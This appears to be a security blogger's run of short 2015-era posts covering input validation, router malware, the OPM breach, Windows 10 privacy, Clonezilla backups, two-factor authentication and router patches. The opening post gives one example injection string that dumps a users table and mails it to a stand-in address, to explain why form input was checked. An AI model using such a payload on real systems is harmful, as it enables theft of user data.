Back when I started programming networked applications, the big threat was injection techniques into a CGI program. Back then, it was easy, use strict;, -T (taint check) and check everything that you didn’t write. That’s why you always had the “password can only be alpha-numeric +@#^&)-” style messages. We were checking what you entered to make sure it didn’t have a "SELECT * INTO OUTFILE "~/out.txt" from users; mail -s out.txt -f ~/out.txt bad.address@home.com" in the form.
It’s the same old problem. Except this time, if you accept REST or JSON via a Java based application server you should be concerned.
And before anyone dismisses this, ask yourself how the MLS system shares information.

This is a first, as far as I can tell.

Instead, the author or authors of the malware appear to be using it to actually secure infected devices. Symanetc [sic] believes the malware has infected tens of thousands of routers and other IoT systems around the world. Yet, in the two months that the security vendor has been tracking Linux.Wifatch it has not seen the malware tool being used maliciously even once.

ARIN IPv4 Free Pool Reaches Zero.
Just like it did in 2011.
There is a big difference between IPv6 compatible and moving your infrastructure, applications and services to IPv6.

Months later, the OPM and Department of Defense (DoD) confessed that “Of the 21.5 million individuals whose Social Security Numbers and other sensitive information were impacted by the breach, the subset of individuals whose fingerprints have been stolen has increased from a total of approximately 1.1 million to approximately 5.6 million.”

The number one and two causes of computer infections is self-policing it’s victims.
Don’t download software from unverified sources, don’t use pirated video, music or porn. If you do, if your kids/grand-kids do, you’re asking for at the minimum a $200 bill.

So, if you were worried about Windows 10 and the privacy issue, I’ve got bad news for you.

This article by Steven J. Vaughan-Nichols leaves hanging that add-on developers are going to be leaving Firefox for other browsers. What he doesn’t tell you is that all browsers are changing their internal structure. Chrome is dumping NAAPI for WebGL. Windows 10’s Edge is completely new.
Given the plethora of patches, updates and vulnerabilities that all web browsers are facing these days, I welcome a more secure environment to surf with.

“The result is an electrode that gives more than three times the capacity of graphite (1.2 Ah/g) at a normal charging rate, Li says. At very fast charging rates (six minutes to full charge), the capacity is still 0.66 Ah/g after 500 cycles.”
Just about every hand-held device from electronic nicotine to lap-tops uses Li-ion batteries. Golf carts, electric cars, etc.
h/t Instapundit

A classic, user-friendly, thread.

The opening round of retaliation for the OPM crack.

Continue reading →

Congrats, @Microsoft, on setting a new standard for unhelpful error messages. This will never be topped. #Windows10 pic.twitter.com/A24Ez6tqMn

— Jonathan Timar (@jonathantimar) July 29, 2015

If you haven’t signed up, wait. If you have, then I recommend using Clonezilla this weekend to snapshot your hard drive. MSFT has assured us that all machines running Win7 or Win8/8.1 will support Win10. I guess we’ll see.
Clonezilla is a Linux based boot disk (CD/USB) that will ‘ghost’ your drive sector by sector. It writes a recoverable image to an external USB drive. If you speak the language, it’s basically dd > tar > gz, although it offers a variety of options.
I plan on running it tonight on my Win7 machine that will be upgraded to Win10 on the 29th.
It’s a very easy program to use, just _read_ all of the dialog screens. There’s only two things you really need to be absolutely sure of:
Which is the device you’re writing to, and
Which is the device you’re reading from.
You really don’t want to get those mixed up.
On average, over USB 2.0, it’ll take about 1 hour per 100G of data depending on the data. It compresses and packs the data in (default) 2GB files. It’s a sector copy so you can’t use it to retrieve specific files, it will recover all of the drive, all of a partition, or nothing.
I use it on every machine that comes into my shop, before I start working on it. If I screw up and make a machine unusable, I need to be able to return the machine back to the state in which I received it. I’ve recovered from the clonezilla images exactly twice, once on WinXP and once on Win7. Both recoveries performed as expected.
Instructions are on the site on how to burn the ISO’s to a CDROM or to extract the Zip file to a USB thumb device, so all you really need is a suitably sized external USB hard drive.

Vulnerability in Samsung phones, gives the baddies access to watch and listen to you…and you don’t know it.

Researchers have confirmed that the exploit works on versions of the Samsung Galaxy S6, the S6 and Galaxy S4 Mini. But it may also be active on other Samsung Galaxy phones, since the keyboard software.

The Register reports on the ‘new’ marching orders from the WH to gov’t IT.

In response to this week’s data breach at the US Office of Personnel Management, the White House has ordered federal agencies to immediately deploy state-of-the-art anti-hacker defenses – things like installing security patches, and not giving everyone the admin password.

I shake my head.

1. Install software patches for critical vulnerabilities “without delay.”
2. Use antivirus and check log files for “indicators” of malware infection or intrusion.
3. Start using two-factor authentication.
4. Slash the number of people with administrator-level access and limit what they can do and for how long per-login-session, and “ensure that privileged user activities are logged and that such logs are reviewed regularly.”

Can anyone in IT tell me why 1,2 and 4 are not standard operating procedure?
I’ll give them a break on 3, because 2 factor id is a tough nut. User + machine, user + user, user + IP, user + BYOD, etc can be difficult to integrate into a system.
I have some sympathy, though. You know how this happens? Every title needs a local wireless printer, cause, status. Then the users complain cause they can’t send email from their iPhone. And, “why can’t I use my Samsung tablet instead of that dirty old desktop?” “What do you mean the systems are going down for a restart? We can’t do that!” And pretty soon IT is just saying, “Screw it, I’m not going to bother fighting with senior management over what they see as nothing.” And you have a zillion holes in your perimeter.
How’s your networks perimeter? Have you chosen convenience over security?

According to a GMI poll, Brazilians don’t trust people with their data. That’s wise.

Some 76 percent of the consumers polled by GMI on behalf of Fortinet have concerns over how companies are looking after their details in the event of a possible data leak.

Look at the Top 30 Targetted High-Risk Vulnerabilities as identified by US, CAN, UK, NZ and AUS cyber security organizations.
A healthy lack of faith in corporate security isn’t enough. Two-stage identification vastly improves online security.

However, when it comes to what consumers are doing to protect their own information, some 81 percent mentioned they had adopted some form of improved security measure such as better passwords, but were not aware of other ways of boosting data security, such as two-factor authentication.

Two-stage identification is such that not only the user, but the machine is authenticated as well, and if a user connects via a previously unidentified computer the user is contacted (email, text message, what have you) for permission to allow that computer access to your accounts.
You should definitely set up 2-stage id for any online account that you use.
(Crossposted from my place)

You FREAK, we FREAK, we all FREAK.
Chrome, Android, and an MS Security Advisory.
Also Apple products.

“I have a router between the Internet and my computer, I don’t need a dedicated firewall.” – Said lots of people who don’t believe in defence in depth and should know better.
D-Link addresses home router vulnerabilities.
So, if you’ve got a model listed you’ll need to patch the firmware when your version is released.